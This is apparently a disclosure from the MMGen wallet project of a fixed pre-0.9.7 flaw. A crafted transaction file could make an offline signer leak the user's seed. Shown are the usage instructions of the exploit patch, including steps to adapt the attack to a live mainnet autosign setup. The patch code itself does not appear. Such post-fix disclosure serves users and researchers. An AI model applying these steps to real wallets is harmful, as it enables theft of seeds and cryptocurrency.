MMGen 06af7342cf
Pre-0.9.7 seed-stealing exploit
Versions of MMGen prior to 0.9.7 were vulnerable to an attack whereby a
compromised MMGen installation on the network-connected machine could trick
an offline installation into revealing the user's seed via a specially crafted
transaction file.

Since sufficient time has passed for users to upgrade, we now deem it safe to
publish the exploit, implemented as a patch against v0.9.6.  Instructions for
use are in the patch itself.

# Implements the exploit that allowed a compromised MMGen on an online machine
# to fool an offline signing MMGen into passing the user's seed back to the
# online machine via a specially crafted transaction
# The seed is split in two and passed via the the input and output transaction
# comments
# Patch is against v0.9.6 - 6b9df0e contains the fix, which was included in v0.9.7
# Testing the exploit in Regtest mode:
# $ git checkout -b evil_exploit v0.9.6
# $ git apply scripts/txsign-eval-exploit.diff
# $ git commit -a -m foo
# $ mmgen-regtest setup
# $ mmgen-regtest bob
# $ mmgen-walletgen -q -p1 -r0 --bob -L label # (hit ENTER 3 times, remember Bob's Seed ID)
# $ mmgen-addrgen -q --bob 1-2
# $ mmgen-addrimport -q --bob *.addrs
# $ mmgen-regtest send <BTC addr of 1st imported address> 500
# # Set PYTHONPATH to use the patched mmgen/tx.py module without installing it:
# $ PYTHONPATH=. cmds/mmgen-txcreate --tx-fee=10s -q --bob <Bob's Seed ID>:L:2
# $ PYTHONPATH=. cmds/mmgen-txsign -q --bob *.rawtx
# $ mmgen-tool --testnet=1 txview *.sigtx # Bob's seed is contained in the two comments
# $ mmgen-walletconv -q -p1 -r0 --bob -o mmhex -S | cut -d ' ' -f 2- # verify that seed matches
# To modify the tx file for a live autosign setup:
# - uncomment the commented-out line in the patched code
# - repeat the txcreate step
# - edit the resulting tx file:
# + replace the testnet addresses with their mainnet equivalents
# + replace 'REGTEST' with 'MAINNET'
# + replace the file's checksum in the first line with the output of 'scripts/compute-file-chksum.py'
# Make sure to return to master branch when you're finished:
# $ git checkout master
